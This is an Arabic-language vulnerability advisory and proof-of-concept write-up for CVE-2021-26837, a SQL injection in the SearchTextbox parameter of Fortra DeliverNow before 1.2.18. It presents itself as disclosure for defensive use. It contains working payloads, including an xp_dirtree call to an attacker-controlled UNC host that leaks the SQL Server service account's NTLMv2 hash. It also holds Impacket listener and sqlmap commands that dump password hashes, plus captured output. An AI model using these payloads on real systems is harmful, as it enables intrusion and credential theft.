
CVE-2021-26837 - حقن SQL في معامل SearchTextbox في HelpSystems/Fortra DeliverNow. الحمولات، الطلبات المشروحة، والأدلة. أُصلح في 1.2.18.
حقن SQL في HelpSystems / Fortra DeliverNow
يتم دمج معامل SearchTextbox في صفحة بحث السجلات في DeliverNow (/LogGrid.aspx) مباشرةً في استعلام SQL Server دون أي وسيط (parameterisation) ودون أي تحقق من جانب الخادم. كما كان التطبيق يعرض أخطاء محلل SQL Server الناتجة مرة أخرى للمستخدم، وهذا هو كيف أعلنت الثغرة عن نفسها في المقام الأول.
كان اتصال قاعدة البيانات يعمل بصلاحيات sa، لذا ورث الحقن صلاحيات مدير النظام الكاملة على المثيل. وكان ذلك كافياً لاستدعاء master.dbo.xp_dirtree ضد مسار UNC يتحكم فيه المهاجم وإجبار حساب خدمة SQL Server على المصادقة الصادرة.
اكتُشفت أثناء اختبار اختراق داخلي. أصلحها المورّد في DeliverNow 1.2.18 ونُشرت باسم CVE-2021-26837.
اكتشفها وأبلغ بها Sedric Louissaint من Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| المنتج | DeliverNow (HelpSystems، المعروفة الآن باسم Fortra) |
| الإصدارات المتأثرة | قبل 1.2.18 (أدرجت النشرة الأصلية 1.2.18 والإصدارات الأقدم) |
| نقطة الضعف | CWE-89: حقن SQL |
| CVSS 3.1 (NVD) | 9.8 حرجة CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (الباحث) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| تاريخ النشر | 2023-09-19 |
| بيئة الاختبار | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
وصف NVD:
ثغرة حقن SQL في معامل SearchTextBox في Fortra (المعروفة سابقاً باسم HelpSystems) DeliverNow قبل الإصدار 1.2.18، تسمح للمهاجمين بتنفيذ تعليمات برمجية عشوائية، وتصعيد الصلاحيات، والحصول على معلومات حساسة.
POST /LogGrid.aspx، معامل النص SearchTextbox. النموذج هو عنصر البحث في عرض السجلات بالتطبيق. يحدد ddlFieldName العمود المراد البحث فيه (Description في الطلبات أدناه) ويحمل SearchTextbox المصطلح.
علامة اقتباس مفردة واحدة كافية لإثبات ذلك:
blah'
يُظهر الرد خطأ محلل SQL Server مباشرة في الصفحة:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

هذا الإفصاح عن الخطأ يُعدّ اكتشافاً بحد ذاته. فهو يحوّل ما كان سيكون حقناً أعمى إلى حقن تفاعلي بالكامل.
نظراً لأن الاتصال يعمل بصلاحيات sa، فإن master.dbo.xp_dirtree يمكن الوصول إليه. توجيهه إلى مسار UNC على مضيف تتحكم فيه يجعل حساب خدمة SQL Server يصادق صادراً إلى ذلك المضيف عبر SMB:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

الطلب الكامل في poc/exploited-request.http، والحمولات في poc/payloads.sql.

مع تشغيل smbserver.py من Impacket في وضع الاستماع، يجري حساب خدمة SQL Server الخاص بالهدف المصادقة ويُسرّب تجزئة NTLMv2:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

تكون التجزئة متاحة بعد ذلك للكسر دون اتصال أو لترحيل NTLM إلى مضيف آخر.
يؤكد sqlmap الحقن ومستوى الصلاحيات:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

صلاحيات sa تعني أن كل تجزئة تسجيل دخول على المثيل قابلة للقراءة، وأن xp_cmdshell يبعُد استدعاء sp_configure واحداً عن تنفيذ أوامر على المضيف.
ضد مثيل مختبري تملكه أو مصرح لك باختباره:
http://<host>:1080/) وافتح السجلات.blah' في مربع البحث وأرسله. يعرض الإصدار المتأثر خطأ محلل SQL Server في الصفحة.sudo smbserver.py c . -smb2support
xp_dirtree من poc/payloads.sql مع استبدال عنوان IP الخاص بك. ينتج الإصدار المتأثر مصادقة SMB واردة من حساب خدمة SQL Server.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
الأجهزة والتجزئات في اللقطات مأخوذة من المهمة الأصلية ولم تعد صالحة منذ زمن طويل. استبدل عنوان المستمع الخاص بك عند إعادة الإنتاج.
sa. يحتاج التطبيق إلى وصول للقراءة والكتابة إلى جداوله الخاصة. لا يحتاج صلاحيات مدير النظام، ولا يحتاج xp_dirtree. مبدأ أقل صلاحية لم يكن ليمنع الحقن لكنه كان سيحتويه.أصلحها المورّد في DeliverNow 1.2.18. قم بالترقية.
| التاريخ | الحدث |
|---|---|
| 2021 | اكتُشفت أثناء اختبار اختراق داخلي وأُبلغ بها HelpSystems |
| 2021 | أُصلحت في DeliverNow 1.2.18 |
| 2023-09-19 | نُشرت CVE-2021-26837 في NVD، بتقييم 9.8 حرجة |
نُشرت بعد معالجة المورّد، للاستخدام الدفاعي والتعليمي. الحمولات هنا تستهدف إصداراً تمت معالجته منذ سنوات. لا تشغّلها ضد أنظمة لا تملكها أو ليس لديك تفويض كتابي لاختبارها.